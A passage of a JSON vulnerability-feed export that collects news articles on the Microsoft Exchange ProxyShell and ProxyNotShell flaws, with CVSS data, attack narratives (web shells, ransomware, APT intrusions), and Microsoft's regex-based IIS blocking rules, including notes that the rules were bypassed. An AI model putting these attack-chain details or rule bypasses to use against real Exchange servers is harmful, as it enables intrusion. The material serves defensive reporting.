exchange PowerShell, which could result in a full compromise.\n\nWith the help of CVE-2022-41040, another Microsoft vulnerability also recorded on September 19, 2022, an attacker can remotely trigger CVE-2022-41082 to remotely execute commands.\n\nThough a user needs to have the privilege to access CVE-2022-41040, which should curtail the vulnerability accessibility to attackers, the required level of privilege is low.\n\nAt the time of writing, Microsoft has not yet issued a patch but recommends that users [add a blocking rule](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) as a mitigation measure.\n\nBoth vulnerabilities were uncovered during an active attack against GTSC, a Vietnamese organization called GTSC, granting attackers access to some of their clients. Though neither vulnerability on its own is particularly dangerous, exploits chaining them together could potentially lead to catastrophic breaches.\n\nThe chained vulnerabilities could grant an outsider attacker the ability to read emails directly off an organization's server the ability to breach the organization with CVE-2022-41040 Remote Code Execution and implant malware on the organization's Exchange Server with CVE-2022-41082.\n\nThough it appears that attackers would need some level of authentication to activate the chained vulnerabilities exploit, the exact level of authentication required \u2013 rated \"Low\" by Microsoft \u2013 is not yet clarified. Yet, this required low authentication level should effectively prevent a massive, automated attack targeting every Exchange server around the globe. This hopefully will prevent a replay of the 2021 ProxyShell debacle.\n\nYet, finding a single valid email address/password combination on a given Exchange server should not be overly difficult, and, as this attack bypasses MFA or FIDO token validation to log into Outlook Web Access, a single compromised email address/password combination is all that is needed.\n\n## Mitigating ProxyNotShell Exposure\n\nAt the time of writing, Microsoft has not yet issued a patch but recommends that users [add a blocking rule](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) as a mitigation measure of unknown efficacy.\n\nBlocking incoming traffic to Exchange Servers holding critical asserts is also an option, though only practicable if such a measure does not impact vital operations and should ideally be perceived as a temporary measure pending Microsoft's issuance of a verified patch.\n\n## Assessing ProxyNotShell Exposure\n\nAs the current mitigation options are either of unverified efficacy or potentially damaging to the smooth running of operations, evaluating the degree of exposure to ProxyNotShell might prevent taking potentially disruptive unnecessary preventative measures, or indicate which assets to preemptively migrate to unexposed servers.\n\nCymulate Research Lab has developed a [custom-made assessment for ProxyNotShell](<https://cymulate.com/free-trial/>) that enable organizations to estimate exactly their degree of exposure to ProxyNotShell.\n\nA ProxyNotShell attack vector has been added to the advanced scenarios templates, and running it on your environment yields the necessary information to validate exposure \u2013 or lack thereof - to ProxyNotShell.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgOoxz7w2_H46l72-JIWEEozP6gnLHfSQt_wbm1RRkjB0NOn2rBaB0wW4-jBFx4wbMgPAmXZvOdPPwjnUFX2u8zbdJZLSXKMAoft6Skt3EXk_gH1ehXK9DLBpHKouidVH9WE9P1SQs3h-s1VAfGKtHqeXaxkjtGS4lDIItWgmQo1FSLk_6z6fV7ZtQw/s728-e100/222.png>)\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEiqGWTwc-0vwEKrwSp1s7coId4IRI3KelQKVBG1iXsx0N32996O0Lprr0PA035V1oLkFpdjQ1euXlqcL0le7gsuWoWI9NSCEBW0Nj-OCQZn8ovDyuK-b-MtVYhjKmGIWuZO5IkdqNRBvKSiWttxGP46GmxjlZtpI_FSz2728WiqkvKTOoOJIp0KrjOH/s728-e100/111.png>)\n\nUntil verified patches are available from Microsoft, assessing exposure to ProxyNotShell to evaluate exactly which servers are potential targets is the most cost-efficient way to evaluate exactly which assets are exposed and devise targeted preemptive measures with maximum impact.\n\n_Note: This article is contributed by [Cymulate Research Labs](<https://cymulate.com/>)._\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-04T08:05:00", "type": "thn", "title": "ProxyNotShell \u2013 the New Proxy Hell?", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-10-04T10:19:04", "id": "THN:54023E40C0AA4CB15793A39F3AF102AB", "href": "https://thehackernews.com/2022/10/proxynotshell-new-proxy-hell.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:27", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgG4LpJKxqUO2-qxnPcHk7kZshWlpcUJf4apWnuuu8g9A2r0wcvybcwpf7lOoNA63j4bRBhFvjSOcGs6VNIFsmjXTIplZEkjAFtBn3cM6NGJ0rIS2GGGAKNgL2WQIm_-fjXlryklUzygBckkBMBoeHlXhheLR9onLzGHVYPSgJnrJE7GbCsqTLo57hD/s728-e100/hive-ransomware.jpg>)\n\nA recent Hive ransomware attack carried out by an affiliate involved the exploitation of \"ProxyShell\" vulnerabilities in the Microsoft Exchange Server that were disclosed last year to encrypt an unnamed customer's network.\n\n\"The actor managed to achieve its malicious goals and encrypt the environment in less than 72 hours from the initial compromise,\" Varonis security researcher, Nadav Ovadia, [said](<https://www.varonis.com/blog/hive-ransomware-analysis>) in a post-mortem analysis of the incident. \n\nHive, which was [first observed](<https://thehackernews.com/2022/02/master-key-for-hive-ransomware.html>) in June 2021, follows the lucrative ransomware-as-a-service (RaaS) scheme adopted by other cybercriminal groups in recent years, enabling affiliates to deploy the file-encrypting malware after gaining a foothold into their victims' networks.\n\n[ProxyShell](<https://thehackernews.com/2021/08/hackers-actively-searching-for.html>) \u2014 tracked as CVE-2021-31207, CVE-2021-34523, and CVE-2021-34473 \u2014 involves a combination of security feature bypass, privilege escalation, and remote code execution in the Microsoft Exchange Server, effectively granting the attacker the ability to execute arbitrary code on affected servers.\n\nThe issues were addressed by Microsoft as part of its Patch Tuesday updates for April and May 2021.\n\nIn this case, successful exploitation of the flaws allowed the adversary to deploy web shells on the compromised server, using them to run malicious PowerShell code with SYSTEM privileges to create a new backdoor administrator user, hijack the domain admin account, and perform lateral movement.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgbU5YaGjiHhZvFPL5Fqh7rHbVldX6X-unk-Mq6dP0icasfzkogYQnkRDy9ZUNWr3oca2oh6FGdjSzMm5uyXe1DLzwsty4H8hXGZia0azIu3Q24ZyBwemMQXMvu5dpzZQn-9MUl_WWAG5opQBaoXlyg6Esg2eBVWtdYcBrz5l7yZPDtCD1v9nzKF-D8/s728-e100/hive.jpg>)\n\nThe web shells used in the attack are said to have been sourced from a [public git repository](<https://github.com/ThePacketBender/webshells>) and given filenames containing a random mix of characters to evade detection, Ovadia said. Also executed was an additional obfuscated PowerShell script that's part of the Cobalt Strike framework.\n\nFrom there, the threat actor moved to scan the network for valuable files, before proceeding to deploy the Golang ransomware executable (named \"Windows.exe\") to complete the encryption process and display the ransom note to the victim.\n\nOther operations carried out by the malware include deleting shadow copies, turning off security products, and clearing Windows event logs to avoid detection, prevent recovery, and ensure that the encryption happens without any hiccup.\n\nIf anything, the findings are yet another indicator that patching for known vulnerabilities is key to thwarting cyberattacks and other nefarious activities.\n\n\"Ransomware attacks have grown significantly over the past years and remain the preferred method of threat actors aiming to maximize profits,\" Ovadia said. \"It may potentially harm an organization's reputation, disrupt regular operations and lead to temporary, and possibly permanent, loss of sensitive data.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-21T10:00:00", "type": "thn", "title": "New Incident Report Reveals How Hive Ransomware Targets Organizations", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-04-21T10:00:58", "id": "THN:84E53E1CA489F43A3D68EC1B18D6C2E2", "href": "https://thehackernews.com/2022/04/new-incident-report-reveals-how-hive.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:24", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEihM5iYK8V59Az6V_QU4QfgIeRF_0hGVdMPzkolUAVIW-fNuFPicRQP8GVCKVzA_FETzCTUZXWBI67kH6LRZTLGCO5eI9UumwAso17F_kIigeX8Y7Z41AMwAPgq1iysoZkTTX-VU5eO4nCRvjFq57tq6FcnFZd3DBb3A8kWOZ253GJWm-fH0WFE7Fna>)\n\nThe U.S. Cybersecurity and Infrastructure Security Agency is warning of active exploitation attempts that leverage the latest line of \"**ProxyShell**\" Microsoft Exchange vulnerabilities that were patched earlier this May, including deploying LockFile ransomware on compromised systems.\n\nTracked as CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207, the vulnerabilities enable adversaries to bypass ACL controls, elevate privileges on the Exchange PowerShell backend, effectively permitting the attacker to perform unauthenticated, remote code execution. While the former two were addressed by Microsoft on April 13, a patch for CVE-2021-31207 was shipped as part of the Windows maker's May Patch Tuesday updates.\n\n\"An attacker exploiting these vulnerabilities could execute arbitrary code on a vulnerable machine,\" CISA [said](<https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell>).\n\nThe development comes a little over a week after cybersecurity researchers sounded the alarm on [opportunistic scanning and exploitation](<https://thehackernews.com/2021/08/hackers-actively-searching-for.html>) of unpatched Exchange servers by taking advantage of the ProxyShell attack chain.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEi9pcvxkZCqcBcriArdPtNn0AWuIafJEeUPlEHsu4z-oKwZf3gzsprTbCyyBAmMBzU-gFoDqTD8zWP4vrlEdDv_w5I3I5iSFyAS8RZ2p_jjRO0sOXbKoN31TMsPPfb0BXXZt8m7aM2SAtTFrkZ3hdSN1FSLaynBoGiYDkl78s_i0T5Kva4eudH21Jzf>) \n--- \nImage Source: [Huntress Labs](<https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit>) \n \nOriginally demonstrated at the [Pwn2Own hacking contest](<https://thehackernews.com/2021/04/windows-ubuntu-zoom-safari-ms-exchange.html>) in April this year, ProxyShell is part of a broader trio of exploit chains discovered by DEVCORE security researcher Orange Tsai that includes ProxyLogon and ProxyOracle, the latter of which concerns two remote code execution flaws that could be employed to recover a user's password in plaintext format.\n\n\"They're backdooring boxes with webshells that drop other webshells and also executables that periodically call out,\" researcher Kevin Beaumont [noted](<https://twitter.com/GossiTheDog/status/1425844380376735746>) last week.\n\nNow according to researchers from Huntress Labs, at least [five distinct styles of web shells](<https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit>) have been observed as deployed to vulnerable Microsoft Exchange servers, with over over 100 incidents reported related to the exploit between August 17 and 18. Web shells grant the attackers remote access to the compromised servers, but it isn't clear exactly what the goals are or the extent to which all the flaws were used.\n\nMore than 140 web shells have been detected across no fewer than 1,900 unpatched Exchanger servers to date, Huntress Labs CEO Kyle Hanslovan [tweeted](<https://twitter.com/KyleHanslovan/status/1428804893423382532>), adding \"impacted [organizations] thus far include building manufacturing, seafood processors, industrial machinery, auto repair shops, a small residential airport and more.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-22T09:51:00", "type": "thn", "title": "WARNING: Microsoft Exchange Under Attack With ProxyShell Flaws", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-23T13:28:25", "id": "THN:5BE77895D84D1FB816C73BB1661CE8EB", "href": "https://thehackernews.com/2021/08/microsoft-exchange-under-attack-with.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:14", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEiQk7skJEo49QfN4ESusan9jBZfTXapDKpnR6CXuJbaNKUBpx7nO684Vj5RRctI8hh09KwyntDYPyeQI-HbWC03E5Uo4ABDXXj3vfb774Dv1G65e03iX30VM0pcCe5hQfxnkW-u1V4gZgZ3L2et_QXqceUwFJfPQDg8aUOWSagSt-l0OGRquNTiLEso>)\n\nA previously undocumented threat actor has been identified as behind a string of attacks targeting fuel, energy, and aviation production industries in Russia, the U.S., India, Nepal, Taiwan, and Japan with the goal of stealing data from compromised networks.\n\nCybersecurity company Positive Technologies dubbed the advanced persistent threat (APT) group ChamelGang \u2014 referring to their chameleellonic capabilities, including disguising \"its malware and network infrastructure under legitimate services of Microsoft, TrendMicro, McAfee, IBM, and Google.\" \n\n\"To achieve their goal, the attackers used a trending penetration method\u2014supply chain,\" the researchers [said](<https://www.ptsecurity.com/ww-en/about/news/positive-technologies-uncovers-new-apt-group-attacking-russia-s-fuel-and-energy-complex-and-aviation-production-industry/>) of one of the incidents investigated by the firm. \"The group compromised a subsidiary and penetrated the target company's network through it. Trusted relationship attacks are rare today due to the complexity of their execution. Using this method [\u2026], the ChamelGang group was able to achieve its goal and steal data from the compromised network.\"\n\nIntrusions mounted by the adversary are believed to have commenced at the end of March 2021, with later attacks in August leveraging what's called the [ProxyShell](<https://thehackernews.com/2021/08/hackers-actively-searching-for.html>) chain of vulnerabilities affecting Microsoft Exchange Servers, the technical details of which were first revealed at the Black Hat USA 2021 security conference earlier that month.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEgpU90FEVyvHUv6m3vUITmIj4tJ_Kexp6cw5No4dV8_Po339DpYJtWa0Z-_BTv7hBE9_EkkSjRVlbP2lsM6MxD-x1p1yD_mQOhRoeiBy9vjPZXWBKrrJlJlvEbl4QdL8woMTd4XIY2ZGusd5N0uFaCwXBUiwFnJnXGfU0C-ESawdO8FR9OB4njoQ6oc>)\n\nThe attack in March is also notable for the fact that the operators breached a subsidiary organization to gain access to an unnamed energy company's network by exploiting a flaw in Red Hat JBoss Enterprise Application ([CVE-2017-12149](<https://access.redhat.com/security/cve/CVE-2017-12149>)) to remotely execute commands on the host and deploy malicious payloads that enable the actor to launch the malware with elevated privileges, laterally pivot across the network, and perform reconnaissance, before deploying a backdoor called DoorMe.\n\n\"The infected hosts were controlled by the attackers using the public utility FRP (fast reverse proxy), written in Golang,\" the researchers said. \"This utility allows connecting to a reverse proxy server. The attackers' requests were routed using the socks5 plugin through the server address obtained from the configuration data.\"\n\nOn the other hand, the August attack against a Russian company in the aviation production sector involved the exploitation of ProxyShell flaws (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) to drop additional web shells and conduct remote reconnaissance on the compromised node, ultimately leading to the installation of a modified version of the DoorMe implant that comes with expanded capabilities to run arbitrary commands and carry out file operations.\n\n\"Targeting the fuel and energy complex and aviation industry in Russia isn't unique \u2014 this sector is one of the three most frequently attacked,\" Positive Technologies' Head of Threat Analysis, Denis Kuvshinov, said. \"However, the consequences are serious: Most often such attacks lead to financial or data loss\u2014in 84% of all cases last year, the attacks were specifically created to steal data, and that causes major financial and reputational damage.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-10-04T12:48:00", "type": "thn", "title": "A New APT Hacking Group Targeting Fuel, Energy, and Aviation Industries", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-12149", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-10-04T12:48:16", "id": "THN:E95B6A75073DA71CEC73B2E4F0B13622", "href": "https://thehackernews.com/2021/10/a-new-apt-hacking-group-targeting-fuel.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-10-01T06:04:28", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhgl2CxdfICXD4YylZ3fmq7SfJser8j-42cMqU2vbSAzyQPe4aSApGawM37IvHE5L5BynSmtvS5oS0W37yOuR2b0ADOCJOYaxGMQw4b-7y_tf3n-L3iYrYCIZPkpyGA0JtfdssxXvGwCr54-CPt4mdR96xiq5tuxt8FFVPA2JX3PSijoskfmmIYDwNS/s728-e100/microsoft-exchange-hacking.jpg>)\n\nMicrosoft officially disclosed it investigating two zero-day security vulnerabilities impacting Exchange Server 2013, 2016, and 2019 following [reports of in-the-wild exploitation](<https://thehackernews.com/2022/09/warning-new-unpatched-microsoft.html>).\n\n\"The first vulnerability, identified as [CVE-2022-41040](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41040>), is a Server-Side Request Forgery ([SSRF](<https://en.wikipedia.org/wiki/Server-side_request_forgery>)) vulnerability, while the second, identified as [CVE-2022-41082](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41082>), allows remote code execution (RCE) when PowerShell is accessible to the attacker,\" the tech giant [said](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>).\n\nThe company also confirmed that it's aware of \"limited targeted attacks\" weaponizing the flaws to obtain initial access to targeted systems, but emphasized that authenticated access to the vulnerable Exchange Server is required to achieve successful exploitation.\n\nThe attacks detailed by Microsoft show that the two flaws are stringed together in an exploit chain, with the SSRF bug enabling an authenticated adversary to remotely trigger arbitrary code execution.\n\nThe Redmond-based company further emphasized that it's working on an \"accelerated timeline\" to push a fix, while urging on premises Microsoft Exchange customers to add a blocking rule in IIS Manager as a temporary workaround to mitigate potential threats.\n\nIt's worth noting that Microsoft Exchange Online Customers are not affected. The steps to add the blocking rule are as follows -\n\n 1. Open the IIS Manager\n 2. Expand the Default Web Site\n 3. Select Autodiscover\n 4. In the Feature View, click URL Rewrite\n 5. In the Actions pane on the right-hand side, click Add Rules\n 6. Select Request Blocking and click OK\n 7. Add String \".*autodiscover\\\\.json.*\\@.*Powershell.*\" (excluding quotes) and click OK\n 8. Expand the rule and select the rule with the Pattern \".*autodiscover\\\\.json.*\\@.*Powershell.*\" and click Edit under Conditions\n 9. Change the condition input from {URL} to {REQUEST_URI}\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {}, "published": "2022-09-30T09:01:00", "type": "thn", "title": "Microsoft Confirms 2 New Exchange Zero-Day Flaws Being Used in the Wild", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-10-01T05:48:11", "id": "THN:6B72050A86FFDCE9A0B2CF6F44293A1B", "href": "https://thehackernews.com/2022/09/microsoft-confirms-2-new-exchange-zero.html", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-10-06T06:04:52", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEi9curQBhNNFXVb7VMBAzdw4XqdlsRjjQO1TKoTP_j324ubmIjk9pqa624KRULI6wr62I5mCw6kwv5V7wAOuLszOF38jRdG5L0uMRGSF_wbY7B8Tf8xxuDiq7vHa3JRrFkp9bwK0s3z3LdKaWNgmAED48clrraRNSd-7DXt9XvTyxpt1PFJ0gS6hRc6/s728-e100/ms.jpg>)\n\nMicrosoft has revised its mitigation measures for the newly disclosed and actively exploited zero-day flaws in Exchange Server after it was found that they could be trivially bypassed.\n\nThe two vulnerabilities, tracked as CVE-2022-41040 and CVE-2022-41082, have been codenamed [ProxyNotShell](<https://thehackernews.com/2022/10/state-sponsored-hackers-likely.html>) due to similarities to another set of flaws called [ProxyShell](<https://thehackernews.com/2021/11/hackers-exploiting-proxylogon-and.html>), which the tech giant resolved last year.\n\nIn-the-wild attacks abusing the [shortcomings](<https://kb.cert.org/vuls/id/915563>) have chained the two flaws to gain remote code execution on compromised servers with elevated privileges, leading to the deployment of web shells.\n\nThe Windows maker, which is yet to release a fix for the bugs, has acknowledged that a single state-sponsored threat actor may have been weaponizing the flaws since August 2022 in limited targeted attacks.\n\nIn the meantime, the company has made available temporary workarounds to reduce the risk of exploitation by restricting known attack patterns through a rule in the IIS Manager.\n\nHowever, according to security researcher Jang ([@testanull](<https://twitter.com/testanull/status/1576774007826718720>)), the URL pattern can be easily circumvented, with senior vulnerability analyst Will Dormann [noting](<https://twitter.com/wdormann/status/1576922677675102208>) that the block mitigations are \"unnecessarily precise, and therefore insufficient.\"\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhpQsLFSw9UR9_SvNk6WQy9mwfkRcm3XlnjHABkGcn5zq8dy9nknbIRrBwkrbf_VJJvMMFLN_mUcYz8qvRkQqQsJzX0ofT7lPbRq_quwfXfFCfXjlRkKZNj3efBVbrnrgJU3Vi2386QzY6BgMNCEjLdFXD3_yuvqsRn6KGIxA6muukpIgnj2Cmxv06P/s728-e100/ms.jpg>)\n\nMicrosoft has since [revised](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) the URL Rewrite rule (also available as a standalone [PowerShell script](<https://microsoft.github.io/CSS-Exchange/Security/EOMTv2/>)) to take this into account -\n\n * Open IIS Manager\n * Select Default Web Site\n * In the Feature View, click URL Rewrite\n * In the Actions pane on the right-hand side, click Add Rule(s)\u2026\n * Select Request Blocking and click OK\n * Add the string \".*autodiscover\\\\.json.*Powershell.*\" (excluding quotes)\n * Select Regular Expression under Using\n * Select Abort Request under How to block and then click OK\n * Expand the rule and select the rule with the pattern: .*autodiscover\\\\.json.*Powershell.* and click Edit under Conditions\n * Change the Condition input from {URL} to {REQUEST_URI}\n\nIt's not immediately clear when Microsoft plans to push a patch for the two vulnerabilities, but it's possible that they could be shipped as part of Patch Tuesday updates next week on October 11, 2022.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-05T05:31:00", "type": "thn", "title": "Mitigation for Exchange Zero-Days Bypassed! Microsoft Issues New Workarounds", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-10-06T04:57:27", "id": "THN:5293CFD6ACCF7BFD2EDDE976C7C06C15", "href": "https://thehackernews.com/2022/10/mitigation-for-exchange-zero-days.html", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-10-10T04:05:08", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjeUWuPrjVRtuLfvZ08ImJeXt0BdQpRXeQ6I0n0SAV_PvlNadxnD9aN7xs4GdR3dnw4vc_xgBx7ZMfuF4JsmZ8SVjY0DMxorkecTx87m3KMhPPwj-eMcuw7qBH0ZOWX2k0C8AUY_BQjxGr0uihjZw9opxQt8RNXIK3HVcztB-5v-tFUuZFDzyfQoLAw/s728-e100/ms.jpg>)\n\nMicrosoft on Friday [disclosed](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) it has made more improvements to the [mitigation method](<https://thehackernews.com/2022/10/mitigation-for-exchange-zero-days.html>) offered as a means to prevent exploitation attempts against the newly disclosed unpatched security flaws in Exchange Server.\n\nTo that end, the tech giant has revised the blocking rule in IIS Manager from \".*autodiscover\\\\.json.*Powershell.*\" to \"(?=.*autodiscover\\\\.json)(?=.*powershell).\"\n\nThe list of updated steps to add the URL Rewrite rule is below -\n\n * Open IIS Manager\n * Select Default Web Site\n * In the Feature View, click URL Rewrite\n * In the Actions pane on the right-hand side, click Add Rule(s)\u2026 \n * Select Request Blocking and click OK\n * Add the string \"(?=.*autodiscover\\\\.json)(?=.*powershell)\" (excluding quotes)\n * Select Regular Expression under Using\n * Select Abort Request under How to block and then click OK\n * Expand the rule and select the rule with the pattern: (?=.*autodiscover\\\\.json)(?=.*powershell) and click Edit under Conditions\n * Change the Condition input from {URL} to {UrlDecode:{REQUEST_URI}} and then click OK\n\nAlternatively, users can achieve the desired protections by executing a PowerShell-based Exchange On-premises Mitigation Tool ([EOMTv2.ps1](<https://microsoft.github.io/CSS-Exchange/Security/EOMTv2/>)), which has also been updated to take into account the aforementioned URL pattern.\n\nThe [actively-exploited issues](<https://viz.greynoise.io/tag/exchange-proxynotshell-vuln-check?days=30>), called ProxyNotShell (CVE-2022-41040 and CVE-2022-41082), are yet to be addressed by Microsoft, although with Patch Tuesday right around the corner, the wait may not be for long.\n\nSuccessful weaponization of the flaws could enable an authenticated attacker to chain the two vulnerabilities to achieve remote code execution on the underlying server.\n\nThe tech giant, last week, [acknowledged](<https://thehackernews.com/2022/10/state-sponsored-hackers-likely.html>) that the shortcomings may have been abused by a single state-sponsored threat actor since August 2022 in limited targeted attacks aimed at less than 10 organizations worldwide.\n\n**_Update:_** Microsoft, over the weekend, said that it has once again made a correction to the URL string \u2013 